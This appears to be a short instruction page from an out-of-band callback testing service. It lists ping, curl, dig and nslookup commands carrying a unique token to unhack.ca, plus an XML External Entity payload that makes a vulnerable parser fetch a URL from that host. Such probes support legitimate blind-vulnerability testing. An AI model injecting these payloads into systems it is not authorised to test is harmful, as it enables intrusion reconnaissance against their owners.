$ ping -c1 -p 00f73b5d3d82ce23d8b1f3cf86d69300 unhack.ca
 

$ curl http://unhack.ca/p/f73b5d3d82ce23d8b1f3cf86d693
 

$ dig f73b5d3d82ce23d8b1f3cf86d693 @unhack.ca
 

$ dig f73b5d3d82ce23d8b1f3cf86d693.ns.unhack.ca
 

C:\> nslookup f73b5d3d82ce23d8b1f3cf86d693 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f73b5d3d82ce23d8b1f3cf86d693">]>
    <foo>&xxe;</foo>